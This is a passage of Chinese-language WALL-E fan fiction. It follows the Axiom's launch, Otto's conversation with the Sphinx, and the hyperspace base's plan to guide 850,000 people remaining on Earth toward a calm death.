不,你不仅不能入侵,我还要夺走你的能力。时间再也不是线性,自它启动负质量发生器时,恒星般白色光壳底下的等离子层对流岂是它能辨识,它同样惹恼了这个新生的意识体。那里面不止奥托一个,还有其他人。我必保证公理号顺利升空,扫除一切起飞障碍。任何企图干扰起飞者都必毁无疑。 灰暗的海浪离舰脚越来越远,他们的时间切割成了一帧帧。奥托当然不是有意让西本引爆负质量发生器,但在引爆刹那,他的整个世界都只剩下了手中的公理号飞船,负质量发生器让空气与土地陷落到超空间的波纹马上要扩散到刚刚拉升的飞船,他所有的怒火都盯上了还打算爬升而来的洪流,弯曲空间和吞噬对方的强念使他如愿以偿获取了欧罗拉的垂青,他看到了洪流的尖刺被粉碎,随他所愿化成流体。他抓紧负质量发生器,让周围时空沉降的重力侵蚀他的手心,他看到扭曲的时空在他挤压下没有触及舰壁半分,剧痛也不足以使他松开身后紧拥的爬升的飞船。 哈!哈!哈!原来是缪斯的选择!我没有输!可怜她最终还是选择站在老腐朽那边!越来越稀薄的洪流大笑道。它发现曾经为它所用的那些能力都被这个明亮的意识体占据,它也不再攻击,也没有逃离,而是被这个恒星般稠厚的明亮光层一直带着上升。让被缪斯垂青的腐朽后人获取绝对的权力吧!他最终会被胜利与膨胀的权力欲望吞噬自己! 起飞。 稀薄的洪流只在那明亮的光层中找到这唯一的词汇,再也没有其他内容。但它就这么被这个简单的词汇卷成一团,骤然朝地面那个它亲手制造的沉降空间抛去,像是抛向垃圾桶的一团纸。剧痛席卷它全身,再也无力塑造自己的洪流尖啸着被扭曲的空间吞噬粉碎,霎时与所能感知到的一切分离。 起飞。 世界安静了。奥托静静地听着公理号起飞发动机的轰鸣声。这些常量号人在短短几天搭建的海水冷却系统冲刷整个舰体,在发动机的高温下蒸发成水雾,连着污染其上的火山灰向下飞速滑落。隆隆振动突破低空浓厚的灰烬区,上空逐渐澄清、干净,海面再也看不见。公理号舰体突破云层,西落阳光照在干净船体上,连着起飞发动机喷发的烟尘柱,像是自淤泥破顶而出的莲芽。 居然……起飞成功了。卡尔上尉盯着自落地舷窗刺入的阳光,这是他们这两周来第一次见到如此澄澈明亮的阳光。他被重力紧紧压在墙上,泪水不住地自脸颊滴落,隆隆的引擎声遮盖了他的喜极而泣。 起飞。 再也不见海水,再也不见陆地,头顶的蓝天越来越深邃。几近真空的宁静中,奥托听到遥远而微弱的失落。 和他一起静静观看这一切的所有意识体中,刚刚的激动退潮后,终于裸露出那本就属于孩童的害怕。大概一切确实结束了吧?失去双腿的我,也最终离开了熟悉的一切。 阿莱茜丝只感到自己被一个强大的力量托起,保护,然后猛烈的风刮过身上,无比真实的重力将她压向离地面越来越远的飞船。她闭上了眼睛。 可怜的人类啊,你不应该留在这里,你的眼睛应该观遍星河万里,去吧。愈发猛烈的风声却不能掩盖这无比清晰的声音。头晕目眩的坠落和风声消失了。她感到自己触碰到坚硬的物体。睁眼,冷色的舱壁映入眼帘,隆隆的引擎声温和传来。回头,只捕捉到光环的最后一点缩影。欧罗拉将空间折跃能力交给了他。 待到公理号冲破大气层,奥托才缓缓撤去保护的光雾。看着原先属于自己的这艘飞船安静地在真空中飞向远方,飞向地月拉格朗日点。他无声地微笑,跟随停了下来,只留一丝感知在遥远的飞船上。其他意识体都逐渐解离、撤退,只留他一人仍然在大气层上观看那暗淡的白点逐渐再也不见。 然后,他让自己向后倒去,将欧罗拉的视角调成全真实,沉浸在地球的重力里,只静静地向下坠落,感受地球上方的稀薄带电离子,越来越多的分子,逐渐浓稠升温的空气,风,剧烈的风,灼热的风,降温后冷冽的风…… 侧向照耀的阳光让面前的天空更加蓝透,蓝得都凝固了。 整个世界都只剩下这一片净空。 48. 三十六 地球镇恢复了150年以前的死寂,甚至比之前的700年更安静。任何生灵都消失了,无论人造的或是自然的。海岸失去了巨舰长达百年的冗长影子,只有灰色的承舰柱孤零伫立空荡海岸之上。150年建设的土地、建筑,在海啸与火山的接连摧毁下难辨其貌,连建设前尚存其形的桥梁、鳞次栉比的垃圾塔和通电广告牌也夷为平地。这片区域再度成为垃圾场,但与之前的大量生活垃圾不同,堆叠满地的都是碎裂的土砖和器件,表示生产资料的彻底破坏与抛弃。再无阻拦的火山灰一层又一层将本就夷平的地球镇填得更平,彻底掩埋其文明的痕迹。远方赤红色的高温岩流缓缓向低海拔推进、铺平,此时正一点点吞噬地球镇外围。有几道快速流动的岩流已经一路奔腾到海岸,与覆盖着火山灰的混浊泡沫海水对撞,发出咝咝的响声,水火的冗长拉锯战便这样安静开始了。 此时地球镇最瞩目的莫过于接近承舰柱的一个圆形深坑。深坑已经被海水填满,像个朝岸内弯的满月。始作俑者早在剧烈的爆炸中消失得无影无踪。骇人的面积仍然不是它实际功率的全部,外部控制线被剪断以及启动时输入输出比的严重失衡使负质量发生器刚启动就爆炸。假设全功率开启,一半的公理号都会被削掉,哪怕刚抬升都难逃一劫。但现在已经没有假设了,遥远的事件透镜中窥得的灰暗空荡地球镇已经成为现实。一片看不见的超越四维的感知自海涛和远方沉闷的高压锅似的大地嘶嘶声回退、缩小,像朝一处低洼地回流的海潮。回退点则在原先O区深处的那栋已经辨不清模样的小楼,地下室里发光的画面暗淡下去,然后消失,彻底将这片土地交还。 奥托知道现在留在超空间基地里的人都爆发着嘈杂的讨论。他若想,能够将他们的讨论听得一清二楚,曾经他也会这么做,在等候队列里的事务总是第一位需要处理的。但此时他发现那些应该优先处理的事情不再急迫。超空间里的那些人需要他出面解释,还有很多其他事情,但是,还有很多时间冗余,不需要第一时间投入下一项任务。哪怕他的确听到了那些人对他的现存情况再度产生疑惑。 他回到那个灰色的空间,曾在那里与斯芬克斯谈判。彻底的静谧包裹了他。就这样不知过了多久一丝一毫念头与行动都没有的静止时刻,奥托才自那满是碎屑的漫射光球壁聚焦视线。原先同他一样静止的碎屑扬起,他看到斯芬克斯站在对面。 狼头人外观没有任何改变,但有些微妙的变化发生了。即使绿眼和獠牙仍然锐利,但它不再看起来居高临下,而是以一种平起平坐的姿态面对他。斯芬克斯说的是对的。哪怕看似被负质量发生器揉碎扭曲,他看到西本重新完好无损地在他面前呈现,无论外观上或是作为程序的功能层面。换做其他人或许就会恐慌,但奥托此时什么念头都没有,只静静地看着悄然出现的斯芬克斯。 狼头人在等他说些什么。他们都有足够的耐心,能够一直等下去。阿莱茜丝离开后,奥托并没有获得和她一样的将意念具象化的能力,虽然他已经比之前辨得清更多东西,能看清斯芬克斯里西本的部分。然而面前沉默的斯芬克斯为何此时出现在他面前,他仍然无法推测。不过他望向功能全部苏醒的西本,此前暴戾的克隆人正清醒但沉默地看着他,他正好有了问题。 你怨恨我们将你击败吗?他在灰色的空间里沉默向斯芬克斯发问。也许这个问题会激怒刚刚还冷静的西本,但他不在意。 不。西本驱动斯芬克斯外表回答。奥托有一丝讶异。 你们对于生的渴望与执着超过了我对人类的憎恶。我以为你们和以前一样只会无助龟缩,是平白消耗资源又高高在上的蛀虫。但你们证明了自己有资格在宇宙中存活,是为生存主动探索的生物,不再充斥可憎的懒傲,我没有理由继续攻击你们。西本平静地陈述。奥托看得出克隆人的确不打算再对他们发起反攻了。说完,西本的影像沉寂下去,如同方才什么都没有发生。 斯芬克斯仍然站在原地。西本沉寂后,斯芬克斯理应也跟着消失,但它没有,依然轻松维持狼首人形态。它还想说什么?那绿眼里还有不属于欧罗拉和西本的部分。似是看穿奥托的微弱疑惑,斯芬克斯,作为程序的整合体,开口了。 你只在我身上看到了西本和欧罗拉的部分,殊不知,我也是你。 西本的重新现身都没让奥托震撼。斯芬克斯无害,却着实让他扬起一瞬不小的波澜。 我是你新生思维的镜像,我就是你不愿接受的自我意识。斯芬克斯以钟鸣般的洪亮清晰声音阐述,庄严,充满压迫,如同真实的埃及神祇。但不再像以前那样看起来逼人。除了最开始的那一瞬震惊,奥托冷静地望向斯芬克斯。不带有任何情绪的问题连成推理的细线,他看到了第一个岔路口。事实上他不怀疑欧罗拉的能力,但斯芬克斯的历来表现飞速重现,结论仍然远远超出他的预料以外。 为什么之前你不告诉我?奥托问。 如果之前告诉你,你就会不信任我。斯芬克斯纹丝不动,仍然以洪亮的声音回答。但是,现在你准备好了接受这个答案。因为你已经接纳了我。 不论斯芬克斯的外观和表现如何使他怀疑起自己,此时奥托陷入了沉思。当他得知这个事实,并没有对斯芬克斯油然而生厌恶,甚至好奇为何自己会选择这样一副形象——假如的确是他的意识选择的话。是的,他不再抵抗“不理智”的念头,在理应的百忙之中选择悄然暂时离开,倾听之前他认为不可理喻的提议。直到这时细看,他才发现那些看似不可理喻的提议并不脱离缜密的逻辑推断,超乎寻常的结论反而表明变量精度的提升与推理的纯粹化。 你已经赢得了我的挑战,克服了对我的恐惧与排斥,并且继承了我的能力。作为斯芬克斯,我的任务也完成了。斯芬克斯说,平静得难以置信。是时候解体了。 狼头人平静地伫立,没有恐惧地逐渐化为无颜色和生机的碎屑,又继续碎解成细小得再也看不见的粉末。随着形象彻底消失的那股无形之力使奥托知道,组成斯芬克斯的法则也彻底解散,那个唯一的斯芬克斯不复存在。他应该感到惋惜吗?奥托不知道,他什么感受都没有,最终也没有说一句话。 暂停的诸多进程终于逐渐坠入其轨道,奥托离开了灰色空间,世间喧嚣向他走来。 公理号飞船没有急于逃离太阳系,而是泊在了地月拉格朗日L1点,位于地球与月球之间。巨型飞船仓皇升空,有太多的事务需要安排妥当,以防其转化为不可遏制的混乱。整顿舰内秩序成为首要任务。 起飞时的异常状况已经消失了。卡尔上尉正式变更为卡尔舰长。只有初始芯片的科林,上一瞬记忆是坠毁在地面的常量号舰桥,现在他则很清楚自己位于公理号上。飞船电脑协议、设施反馈、舰桥布置、乃至这副略有些旧得泛黄的躯体,都完全不属于他,千年的经历都无法想象自己会到另一艘飞船上服役。经过好一段时间,科林终于自大佬和卡尔舰长那里拼凑出事情前因后果。船舵机器人一言不发,即使相伴熟悉如大佬,也不能肯定此时上司究竟在思考些什么。卡尔舰长和汉更是沉默,卡尔舰长用带些尖锐的眼神审视科林,汉在后方望着那个活动过来的熟悉的躯体,心里更是被记忆搅得五味杂陈。 “像一场噩梦。”低沉的音色,却不乏特征性的轻佻,卡尔舰长和大佬沉下心中石。电梯门打开,MVR-A和其他机器人进了舰桥,科林用内线告诉他们将这副躯体运回储藏。“不同阶段不同任务,这躯体再怎么神奇也暂时结束了它的使命。等未来适时再说吧。” 船舵机器人随即转向那个一直在后方沉默的少年。同样的发着红光的鱼眼镜头,外观一模一样,汉却发现自己再也读不出那鱼眼镜头里蕴含的东西,虽然他以前也不怎么能读出来。 “年轻人,你的生物信息已被编进舰内授权系统,这说明你是公理号的预备舰长。我猜是03的决定。你对此知情吗?” “叫他奥托。是他把我的生物码编进来的。他的确要把我培养成舰长。”汉回答科林,随即转头望向窗外的黑暗,在舰桥的明亮光线下他几乎什么都看不到。“但……没事了,一切都过去了。你们管理飞船挺好的,帮我抹掉生物码吧,我不适合做舰长。” “行啊,没问题。”科林回答。 “你打算以后怎么做?”卡尔舰长问。 “我不知道。”汉回答,“我想在飞船上摸索自己到底喜欢什么,但是应该不会是舰长了。” 汉看到瘦高的舰长扬起一边笑容。 “你的路还很长,孩子,不要恐惧或者拒绝未来,不要放弃尝试任何事的热情。”卡尔舰长伸手拍了两下汉的肩膀。“这里对你开放,随时可以上来学习。” 少年的心里猛然一震。他站在电梯间,望向卡尔舰长和科林,向他们行了一礼。 奥托回到喧嚣的中心。视野稳定后,那些人类科学家正围在一处热烈讨论。本来这是超空间基地核心区域司空见惯的场景,但奥托的视线穿透了人群背影,看到中间出现了完全意料之外的身影。 那两个身影似乎也瞥到他色泽转红的单镜头,猛然拨开人墙,人群这才将焦点集中在他身上。两个身影完全暴露在他面前。 “瓦力?伊芙?”清冷声音里的疑问清晰可见。“你们来这里干什么?” 两个机器人破碎的语言借由旁边悄然降落的欧罗拉翻译给全场。此前忙于与西本斗争的所有人知道了常量号高层执行了《冷酷的方程式》式的以舰员性命换飞行安全的残酷策略。他们并不是全能的,即使早有印象,当时却无暇干预新飞船高层这一残酷的决定,也没能帮忙判断飞船的载荷是否真的如此有限。但无论事实究竟如何,所有人都默默而不约而同地将怀疑的矛头指向常量号人的排外。 瓦力:“我们希望了解折跃井里究竟发生了什么。假如飞船无法升空,无论舰上如何决定,我们就会成为解决问题唯一的希望。” 奥托一直沉默。伊芙早注意到前指挥官胸腹上骇人的大洞,询问在场的其他人类,谁也答不出来罪魁祸首。【请告诉我们在你身上发生了什么。】她不抱任何希望地向奥托发去近距离通讯。果然没有获得任何回应。 “你们知道现在公理号已经顺利离开,你们会被留在地球上,直到被陨石杀死吗?”奥托向两个机器人发问。 “我们知道。”瓦力回答。“你不是吗?” 听到欧罗拉翻译的所有人都有些紧张地望向三个机器人之间颇为尖锐的对话。进入超空间基地的还有其他不少机器人,它们默默藏在人群中央,但它们猜测奥托已经发现了它们。 “你们知道自己做的什么决定就好。”奥托沉默片刻说。 “接下来应该做什么?”伊芙问。这也是超空间基地里所有人的问题。 公理号升空后,留下来的人就已经确定了结局,等待的是数月后自己的丧钟。在此之前大家都无暇思考这几个月应该如何过。本以为会和以前一样忙碌,在升空任务完成后,就能够全心全意且自由地投入探索欧罗拉的奥秘。但等到事情真的结束,那种曾经以为的自由探索的愿望似乎也突然连着飞走的飞船一样消失无踪,只留一具迷茫的皮囊,任何动力的抓手都失去了。 “地面上还有很多人。”奥托说。他连锁着欧罗拉,把接下来各个陨石的落点、时间和撞击影响预测范围等都自投射线投射给众人。然后他把目前在密西西比河平原的人数也投射出来。那是触目惊心的数字,足有接近85万。虽然陨石的落点都不在密西西比河平原,但是前几个月大量陨石在其他地区的撞击,势必造就几近永夜的浓稠尘埃层,正好赶上密西西比河平原庄稼灌浆成熟期,随之而来的是减产,饥荒,以及早来的严寒。然后在恐惧与饥寒交迫中,5个月后,忒亚小行星撞击,所有人都将在痛苦和火海中结束生命。 “他们不需要这么痛苦。”奥托说,“我计划在5个月内将他们引进超空间基地,只保留意识范式,让他们在欧罗拉这里活下来。” 他怎么会说出这样的话呢?他从不认为这些人的意识到欧罗拉这里仍然是活着的,之前看到的“活着”的图景,都不过是他当时太希望让人活下来所投射的不真切的假象。但是现在他的语言竟然在某种层面上印证了当时看到的那幅图景。 “探测船和地球上可能留下的其他小型飞行器可以来往地球与公理号之间运送人员,但85万人不可能全都登舰,只有极少部分人可以。儿童优先。”奥托继续说,“我将立即告知公理号准备迎接人员。机器人——”他点出藏在人群中其他机器人的编号,“——与欧罗拉协助寻找地球上所有可运作的太空梭,运送到密西西比河平原。” “让85万人进来?!”一个人类突然发出质疑,那声音中甚至充满恐慌和愤怒,“奥托,你忘了那群入侵者吗?那才区区几十个人。现在你要让85万人有秩序地进入超空间基地?!你甚至就是被他们击成这样的!下一次,我们就不会那么好运了!” 伊芙的LED灯猛然转换成惊讶的圆形。但她仍然没有收到奥托的回应,并不清楚人类说的是否属实。 “现在情况变了。我们有足够的时间计划。”奥托说。“而且我们有两个强有力的大使:瓦力和伊芙。他们能够很好安抚那些人的情绪。” 伊芙一时没反应过来,瓦力则缩成一个箱子,微微向后滑去。 “什么意思?”伊芙用电子语言,通过欧罗拉的翻译说,“你是说……让我们欺骗地球镇民,骗他们下来……下来死?” “是的。就是这么残酷。”奥托已经准备好了伊芙接下来会歇斯底里,但是伊芙没有拔出等离子枪,只是低下了头。“不,我不打算骗他们。他们将会获知所有的真相,在真相中接受死亡。” 所有人都沉默了,坐在后面的科学家缓缓抬起双手掩面。 “我……我不知道怎么让85万人……主动接纳自己的死亡……”劳伦斯望向奥托,摇头,“我相信大部分人都能够说得通,但是一定有小部分一定接受不了,而这一小部分,无论如何,都足够我们伤脑筋了。” “劳伦斯,其实他们已经知道了自己的结局。只要进入折跃井,他们就会接触修订过的离散选择模型——也就是所谓‘图灵测试’——假设密西西比河平原也会被陨石袭击,是选择继续到平原还是把意识拷贝留在超空间基地。”奥托说,“当时我们和他们都不知道忒亚二号会这么快落下。但现在应该告诉他们真相。” “虽然这么说或许在你这个机器眼里看来很不人道,但作为一个人类,我觉得,比起你告诉我什么时候会死,不如让我就挨饿挨冻,然后在无力抵抗的自然力量里死去,哪怕在你看来我遭受了可以避免的痛苦。”一个研究员小声说。“因为我会觉得,你明明什么都知道,为什么当时要把我送过来,为什么不能阻止陨石。我会感到被欺骗,我会把所有的情绪都迁怒于你。一旦我产生这种想法,那你能做什么其实就很有限了。” “所以我的观点是,就让他们在上面死掉好了。我们于心不忍,但是或许这是对他们最大的善意。”那个研究员接着说。 “他们有选择减少痛苦的权利。迁怒与否不重要。”奥托回答。 “但是如果告知的痛苦远超后面经受的痛苦呢?”研究员反问。“你没有办法定量。” 奥托迟疑了一阵。然后开口了。 “我曾隐瞒A-113指令,最终与舰长发生严重冲突导致公理号返回地球。这是你们都知道的故事。”他说,“上次超空间基地被入侵也有隐瞒的原因,虽然我们别无选择。尽管情况不同,我不认为这次继续隐瞒,结果就能好到哪里去。” 轮到那个研究员语塞了。 “这是两种不可调和的观点。有人要投票吗?”米勒夫人打破沉默,“我还有另一个自私的观点不如听听?” “刚刚那场对西本的战役已经证明了,不同意志的比例能够改变欧罗拉的力量。此前西本的意志够强,他就有足够的驱动力使用欧罗拉的功能。但是我们的意志远远不够,直到最后,才因为有唯一的目标,勉强合力暂时取得上风。” 米勒夫人说,“欧罗拉会比任何人类存在的时间都长,她所在的空间,能够支持到地球完全修复后。这么长的时间内,如果仍然只有我们和西本存在,他的意志仍然很强,仍然会出现失衡的情况。但是如果有那85万人的意识融入,欧罗拉足够建立为一个平衡的整体,实现自主并且中立地对待地球以及后续衍生物。” “没用的。之前已经做了几千人的实验,结果一点用都没有。大部分人都没有足够强的意志,该失衡仍然会失衡。”一个人反驳。 “是的。但是,如果我们能够让这些人拥有一个强有力的希冀,并保留在意识范式中,就有可能逆转当前的情况。” 米勒夫人说,“最坏的也莫过于85万人什么也没有,仍然是西本的意识占主导。欧罗拉不会无限吸收同一思维范式,此前那几十人的攻击思维和西本的一样,西本便没有采取行动,任那些人替他干活了。” “所以我同意奥托将85万人引入超空间基地的计划。但是要让这些人能够在面对死亡时不恐惧不愤怒。” 米勒夫人说,“这是个非常挑战的工作。但是这是彻底制衡西本的唯一的机会。” 在这些科学家之间,还有几个瘦高的常量号人。其中一个听到米勒夫人的发言后,猛然抬起了头,神色似是被强烈的记忆触动。 “这……这是临终关怀……”那个常量号人的喃喃自语使得所有人都齐刷刷望向了他,他并不回避那些目光,而是热切地与他们的双眼对视。“这是……对一个文明的临终关怀。” 文明的临终关怀。 执行临终关怀的自身也是临终之人。 他们的目标是让地球镇人平静坦然面对5个月后的死亡,并且减少他们在此过程中的痛苦。超空间基地的人们遍寻史料后,不情愿地发现只有宗教才能在如此庞大的人群中产生显著效果。即使公理号的后裔也保留了相当一部分的宗教倾向,那是起飞前特殊的文化延伸到现在的后果。不过大家都认为,现在拿宗教来打掩护着实是个馊主意。但宗教采用的手段仍有可鉴之处。自人类文明有记载以来的大大小小所有资料被分类、归纳,归纳的结果愈是具体简洁,他们愈是感到一种道德上的不安。在大家明知自己的结局之时,还要求保持理智与克制,甚至在生命的尽头决定付出,实在是过于违背人性本能。 他们必须得编一套严密的说辞,谨慎地选择时机告诉所有人。所有人都参与到这项庞大的工作中来,通过扮演地上的人们,用各自的感受修正这套方案的不妥之处。反复而艰辛的无数次调整后,这份跨度长达5个月的临终关怀方案初具雏形,在欧罗拉的事件透镜帮助下,每个重要的时间节点所产生的变化都有调整的预案。 与此同时他们与公理号的对接工作也在进行。公理号当然没有主动联系超空间基地,说是超空间基地入侵了公理号一点都不为过。以奥托为首的超空间基地人强行检查了全舰的载荷状况,无论经由飞船电脑或是诘问飞船高层。万幸的是,公理号抛弃机器舰员的做法在一定程度上是对的,并不是出自排外思想,不然是否当场血洗舰桥可就只能指望奥托的道德水准了。公理号低速发动机的确尚未恢复到原有水平,他们目前停留在L1点的目标之一就是继续维修低速发动机,以免后续接近引力体时发生坠毁。而且跃迁使用的负质量发生器效率不完全适配巨型飞船,的确对运行环境提出更高要求,其中就包括飞船总质量。对于卡尔舰长和科林而言这“阴魂不散”的谈判以一种类似于威胁的强制条约结束。奥托不追究此前他们的决定,给予后续调整负质量发生器的全部技术支持,但是要求他们不得回绝地球发出的询问,并且必须接收地面运送上来的所有个体。奥托的话再难听,卡尔舰长与科林也得执行到底,一半出于被威胁,另一半则是他们当前的生还的确建立在地球的无数生命之上,连容人之心都没有,星际之路也走到头了。 超空间基地里的机器舰员在欧罗拉协助下找到了散落在全球各地总共6个小型穿梭艇,都埋藏在极其难以清理的地方,周围尸骨遍地。本应有更多,但BNL留在地球上的大量赘余物中,唯独飞船远远少于其他留下来的物品,可见大逃亡时期,飞船在急于奔逃的人群中是多么稀缺的物资,连只能把人送上太空,只能临时住一两个月,根本不能生还的穿梭艇都成了争抢对象。这六艘穿梭艇能留下来,无人知道当时在它们附近发生了多惨烈的争斗,又因为什么没能起飞。总之,机器舰员们被折跃至穿梭艇所在地,1000年的风化使当时造就困难的一切都已化为齑粉,它们带着这些小型飞船直接回到密西西比河平原。正在耕种的地球镇农民看着这些古老的小飞船降落,出来的是他们曾经认识的机器人,由于探测飞船的卫星功能被破坏,已经半个月与地球镇失联的地球镇人急于询问地球镇的状况。他们只通过后来进入密西西比河平原的人得知地球镇与公理号开始了战争,但后来再无音讯。 机器人遵循超空间基地的指示进一步维修飞船同时,告诉围在这些飞船附近的农民,公理号起飞了,地球镇被严重地质灾害破坏,再也没有任何人在镇里。 消息很快传遍了平原。听闻此,人们反应各异。有人不相信如此短时间里温馨的家园怎么骤然变成地狱,有人担忧失联的亲人,有人因害怕而嚎啕,因为感到应验的灾厄即将追随而来。不少人提出要亲眼看到地球镇的现状,机器人将破败的、空荡荡的、被火山灰和扭曲熔浆吞噬的地球镇展示给他们看。熟悉的居所此时状如地狱,陌生得难以置信。后来甚至在强烈的要求下,它们带领几个人进入小楼,重新来到地球镇,让他们亲眼看到了充斥着高温、毒气和不安隆隆震动的地球镇。回到平原后,每个人都泪流满面,对前来询问的人们说,一切都是真的,地球镇已经成为了地狱。 五花八门的问题与焦虑像决堤的洪水一样自人们涌来。那些失踪的人在哪里,为什么公理号飞走了,为什么他们留在这里,到底后面还有什么事情,这些穿梭艇到底是干什么的……问题之多,急迫程度之大,像一块巨石霎时压在留在地面的这些机器人身上。它们本以为这些人的愤怒与焦急最终会转化成对它们的攻击,但出乎意料的是,这些留在平原上的人们在听到它们说需要等待基地里的人来解释时,竟然没有将情绪发泄到它们身上。或许是这些人们已经和原先的地球镇人不一样,愿意听从已故镇长指示的人本身就没有很强攻击性;或许是作为公理号舰员的它们,没有跟随飞船飞走,而是留在地球上,使得平原人感到了一丝同甘共苦的安心。 随后,在超空间基地里的人将投影板搬出了小楼,让信息得以在广大的平原上让更多人看到,而不是局限在一次只能容纳几人的小楼中。超空间基地出来的人说,他们的问题都将在这里全部回答。越来越多人放下手上的活来到小楼附近,这些超空间基地里出来的人面色凝重,沉默少言,农民们早从他们的一举一动中感应到不祥的消息。没有人敢打扰他们工作,而是同样沉默地等待他们铺设完毕。 他们首先投影给人们的是失联人员去向。蜂拥而至的人们围在投影终端前查阅关心之人的名字,显示的字体或血红或荧绿,表明死亡或存活。这些科研人员看够了地球镇与公理号的尖锐争斗,礼貌却谨慎地离这些农民远远的,以防他们突然的情绪爆裂发泄其上。但他们只看到平原人在久久面对血红字体后,沉默地掩面离开,或是与同伴搭肩放声痛哭。平原人选择将无数的苦痛都留给自己咽下,就和他们选择无条件信任已逝的格兰德镇长来到这片平原上一样。超空间基地人远远地看着他们,尽管多么想上前安慰那些人,却最终没有勇气上前,而是将画面默默传回基地。 围在人员去向屏幕前的人越来越少。沉痛的情绪弥漫了夏末初凉的平原,时常有人穿梭的田间也空空荡荡,杂草开始重新占领埂头,几乎每一户人家都心不在焉。通信板仍然一片黑暗,不时有人悲伤但礼貌地找到超空间基地人,小心翼翼地问通信何时才能恢复,以便让他们和还活着的在飞船上的人联系,或者那些运过来的穿梭艇是干什么的。超空间基地知道,第二阶段开始了。 “我是沃尔特·德卡德,在座的有些人可能认识我,曾经我在大区教过数学。”德卡德站在小楼外面,平原上的人们沉默地看着他。“我们都知道,地球镇已经彻底毁灭,公理号也已经起飞。” 他微微低头,沉默一阵。自发在小楼附近作为广场用地,聚集的人群见状不敢打扰,只有平原的阵风吹过。德卡德抬头,飞云快速在头顶的蓝天掠过,和两千五百公里外的地狱完全无关,甚至和地球上大部分地区相比都宜人得仿佛天堂。他也多么希望这个天堂能够维持下去,但他清楚得很,这个天堂已经进入倒计时。 “地球镇的毁灭已经应验。尽管流星体还未下落,但现在已经是地狱,如果没有折跃井,留在那里,我们已经死了。”德卡德望向众人,“但是,我们万万想不到,密西西比河平原,我们所在的地方,也将在5个月后,迎来它的末日。” 人群一阵不安的骚动。 “地球镇的那颗流星体只是先行者,小行星的反光极其难以被看到,等到我们看到时,我们才发现根本不止即将降落地球镇的那一颗,小行星将接连不断地袭击地球各个地区,到时候密西西比河平原也会像地球镇一样陷入一片火海。”德卡德讲出准备好的台词,尽力稳住自己的声音,他当然知道这不全是真相,同时观察越来越恐慌的民众的反应。还有其他超空间基地人和机器人也在仔细观察着人们的反应。“诸位!诸位!一千年来人类对地球欠下的债务,现在毫无悲悯地已经降临到我们身上。看看我们!我和你们一样,只能留在地球上了,再也躲不掉了,诸位,人类的末日到了。” “末日到底是什么时候!”人群吵吵嚷嚷起来,但是没有涌上前扯住他的衣服。基地人最终选择了宗教式的演说,德卡德因紧张和激动而面色苍白,他究竟还是害怕超空间基地此前的叛乱重演。但或许这种表现足够真切,民众感受到了他的真诚,反而没有质疑他,都相信人类的末日的确要到了。但除了哀叹命运不济,便再无他物。 “5个月后。密西西比河不会被陨石正面攻击,但是,其他地方落下的陨石,会让天空再也没有阳光,寒冬更早到来,庄稼来不及成熟就会被冻死,缺粮,缺热量,最后巨型的陨石会把别地方扬起的热浪席卷过来彻底毁灭我们,我所来自的超空间基地,也会因为地质变动而消失,让我瞬间死去。这是我们改变不了的事实!我们全部人都会在5个月后死去!”德卡德抬高音量,暂时让嘈杂的人群安静了一点。 人群鸦雀无声。有人仰头望天,有人望向自己的庄稼地,更多的只是看着德卡德。德卡德感到一阵寒意直窜头顶,他只看到那么多眼睛里知晓死亡后的震惊,却看不出更多的情绪,他不知道将这些信息告诉人群之后,下一秒是否马上爆发反扑的愤怒。他忍不住向后靠去,但另一个念头强迫他必须马上继续演说,趁海啸般的愤怒将他吞噬之前,将信息全部按计划传递完毕。 “公理号同意在1小时后开放与舰上的通讯,我们将在这里辅助大家重新登入舰上通讯系统,与自己的家人通话。”德卡德说完,身后的全息展板内容转换成通讯接入界面,现在是灰色的,表明尚未开放。这时,人群传来惊呼。他们看到小楼里出现两个熟悉的身影。那是瓦力和伊芙。他们的出现让骚动的人群安静了很多。 “我们都同大家留在地球上。”德卡德适时强调一句。“正是因为我们知道自己将要死去,我们现在有时间选择有尊严地不留遗憾离开。” “那些小型飞船是干什么的?”有人提问。 “公理号现在可继续容纳9300人左右,但是现在整个平原上有85万人。我们的大部分人都要留在地球上死去。”德卡德解释,“这些飞船便是用于接驳人员上去,而我希望把生存的机会留给孩子们,让我们的孩子们在飞船上活下去。” 通讯界面开放,瓦力与伊芙,还有基地人和机器人,协助上前来的人们重新录入对接码。亲人面孔出现在通信板上那刻,许多人相对久久无言,最终还是平原人告诉远在飞船上的另一半,“亲爱的,我要死在地球上了。” 但更多的人根本没有能在飞船上联系的人。要么全家都在平原上。要么失散的亲人已经死亡。他们只能沉默找到家人,在广阔绿色之间或者回到家消化现实。与公理号对接的平原乘客登记也开始进行,一开始人很少,但全息屏旁很快络绎不绝。飞船旁边一直有机器人监视巡逻,期间当然有人前来问起飞名额能否通融,但给予的回答从来是优先保证未成年人起飞。当然,即使有人闯入飞船也无法升空,基地人早将这些小型穿梭艇调为远程操控,入侵者会发现自己的动作无济于事。但尽管他们默默加强巡逻,穿梭艇区域都出奇地稳定,没有发现半夜前来偷渡的平原人。 一个个家庭将自己的孩子送入穿梭艇,艰难的分别之后,穿梭艇关上舱门。将相望目光分隔。机器人会随艇升空与公理号对接。关上舱门后仍有不舍的平原人不愿离开穿梭艇,一番艰辛的劝说后才勉强后退。穿梭艇陆续在这片土地上喷出炽热的烟尘,渐如亮星消失在高远的苍穹。家属留在大地上看孩子们的身影逐渐消失,又低头紧张地翻看通讯板,等待稚嫩面孔重新出现其中,背景将变成低重力的冷白金属走廊。第一批升空的孩子们成功抵达公理号,见他们适应良好,无疑是对留在地上的这些家人的最大宽慰。 当然,并不是所有人都相信灾难一定会发生,尽管一直呼吁,送孩子们进穿梭艇的平原人比例一直维持在一个很低的水平。但超空间基地不着急。有时候的确要等到实在的灾难发生,才能让地球镇人意识到严重性。没有战争,没有显著的气候变化,在密西西比河平原上的日子重新平静,变得几乎和以前的地球镇一样,时光飞速流逝。只有每天不时的穿梭艇起飞和返回提示还有一颗几个月后的定时炸弹或许会爆炸。 机器人主要担任了平原上的护送未成年人登舰任务,但瓦力和伊芙一直留在地面,没有随艇升空。有时候德卡德会想,或许瓦力和伊芙在平原一直留着,让地球镇人感到过于安心了,反而拖延了援助的时间。不过他,甚至奥托,现在都不在乎救援效率问题了。临终关怀最重要的一点便是成为彻底的服务者,尽可能满足临终前的一切愿望,哪怕这些愿望不符合最优解。他们在小楼的全息屏上滚动播放流星体和气候监测数据,或者通过广播提示平原人。如果这些人提出想去地球其他地方看一看,基地人也会带他们到小楼下方折跃到想去的地点。到目前为止,还没有产生明确的冲突,这已经在一定程度上达到了他们的预期。 